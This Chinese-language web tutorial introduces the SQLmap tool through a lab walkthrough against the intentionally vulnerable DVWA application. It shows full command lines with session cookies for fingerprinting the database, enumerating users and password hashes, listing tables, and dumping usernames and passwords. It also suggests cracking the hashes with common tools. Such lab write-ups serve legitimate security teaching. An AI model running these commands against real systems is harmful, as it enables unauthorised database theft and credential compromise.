萬盛學電腦網

 萬盛學電腦網 >> 數據庫 >> mssql數據庫 >> SQL注入之SQLmap入門

SQL注入之SQLmap入門

   什麼是SQLmap?

  SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數據庫指紋、訪問底層文件系統、執行命令)。

  讀者可以通過位於SourceForge的官方網站下載SQLmap源碼:http://sourceforge.net/projects/sqlmap/

  SQLmap的作者是誰?

  Bernardo DameleAssumpcao Guimaraes (@inquisb),讀者可以通過[email protected]與他取得聯系,以及Miroslav Stampar (@stamparm)讀者可以通過[email protected]與他聯系。

  同時讀者也可以通過[email protected]與SQLmap的所有開發者聯系。

  執行SQLmap的命令是什麼?

  進入sqlmap.py所在的目錄,執行以下命令:

  #python sqlmap.py -h

  (譯注:選項列表太長了,而且與最新版本有些差異,所以這裡不再列出,請讀者下載最新版在自己機器上看吧)

  SQLmap命令選項被歸類為目標(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。

  如何使用SQLmap:

  為方便演示,我們創建兩個虛擬機:

  1、受害者機器, windows XP操作系統,運行一個web服務器,同時跑著一個包含漏洞的web應用(DVWA)。

  2、攻擊器機器,使用Ubuntu 12.04,包含SQLmap程序。

  本次實驗的目的:使用SQLmap得到以下信息:

  3、枚舉MYSQL用戶名與密碼。

  4、枚舉所有數據庫。

  5、枚舉指定數據庫的數據表。

  6、枚舉指定數據表中的所有用戶名與密碼。

  使用SQLmap之前我們得到需要當前會話cookies等信息,用來在滲透過程中維持連接狀態,這裡使用Firefox中名為“TamperData”的add-on獲取。

SQL注入之SQLmap入門 三聯

  當前得到的cookie為“security=high;PHPSESSID=57p5g7f32b3ffv8l45qppudqn3″。

  為方便演示,我們將DVWA安全等級設置為low:

  接下來我們進入頁面的“SQL Injection”部分,輸入任意值並提交。可以看到get請求的ID參數如下:

  “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#”

  因此該頁面就是我們的目標頁面。

  以下命令可以用來檢索當前數據庫和當前用戶:

  “./sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” –cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -b –current-db –current-user”

  使用選項:

  1、–cookie : 設置我們的cookie值“將DVWA安全等級從high設置為low”

  2、-u : 指定目標URL

  3、-b : 獲取DBMS banner

  4、–current-db : 獲取當前數據庫

  5、–current-user:獲取當前用戶

  結果如下:

  可以看到結果如下:

  DBMS : MySQLversion 5.0

  OS versionUbuntu 12.04

  current user:root

  current db :DVWA

  以下命令用來枚舉所有的DBMS用戶和密碼hash,在以後更進一步的攻擊中可以對密碼hash進行破解:

  “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --string=”Surname” --users --password”

  使用選項:

  1、–string : 當查詢可用時用來匹配頁面中的字符串

  2、–users : 枚舉DBMS用戶

  3、–password : 枚舉DBMS用戶密碼hash

  結果如下:

  [*] ”@’kingasmk’

  [*]”@’localhost’

  [*]‘debian-sys-maint’@'localhost’

  [*]‘phpmyadmin’@'localhost’

  [*]‘root’@’127.0.0.1′

  [*] ‘root’@'::1′

  [*]‘root’@'kingasmk’

  [*]‘root’@'localhost’

  數據庫管理系統用戶和密碼hash:

  password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

  [*] phpmyadmin[1]:

  password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

  [*] root [4]:

  password hash: *C30441E06530498BC86019BF3211B94B3BAB295A

  password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

  password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

  password hash:*C30441E06530498BC86019BF3211B94B3BAB295A

  讀者可以使用Cain&Abel、John&Ripper等工具將密碼hash破解為明文。以下命令會枚舉系統中所有的數據庫schema:

  “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”

  --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” --dbs”

  使用選項:

  –dbs: 枚舉DBMS中的數據庫

  結果如下:

  [*]dvwa

  [*]information_schema

  [*]mysql

  [*]performance_schema

  [*]phpmyadmin

  下面我們嘗試枚舉DVWA數據表,執行以下命令:

  “sqlmap.py-u “http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa --tables”

  使用選項:

  1、-D : 要枚舉的DBMS數據庫

  2、–tables : 枚舉DBMS數據庫中的數據表

  得到結果如下:

  Database: dvwa

  [2 tables]

  +————+

  | guestbook |

  | users |

  +————+

  下面獲取用戶表的列,命令如下:

  “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3;security=low” -D dvwa -T users --columns”

  使用選項:

  -T : 要枚舉的DBMS數據庫表

  –columns : 枚舉DBMS數據庫表中的所有列

  結果如下:

  Database: dvwa

  Table: users

  [6 columns]

  +————+————-+

  | Column | Type|

  +————+————-+

  | avatar |varchar(70) |

  | first_name |varchar(15) |

  | last_name |varchar(15) |

  | password |varchar(32) |

  | user |varchar(15) |

  | user_id |int(6) |

  +————+————-+

  如上所示,以上為我們感興趣的列,表示用戶名與密碼等。下面將每一列的內容提取出來。執行以下命令,將用戶與密碼表中的所有用戶名與密碼dump出來:

  “sqlmap.py -u“http://10.10.10.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit”–cookie=”PHPSESSID=57p5g7f32b3ffv8l45qppudqn3; security=low” -D dvwa -T users-C user,password --dump”

  使用選項:

  -T : 要枚舉的DBMS數據表

  -C: 要枚舉的DBMS數據表中的列

  –dump : 轉儲DBMS數據表項

  SQLmap會提問是否破解密碼,按回車確認:

  得到所有用戶名與明文密碼如下:

  Table: users

copyright © 萬盛學電腦網 all rights reserved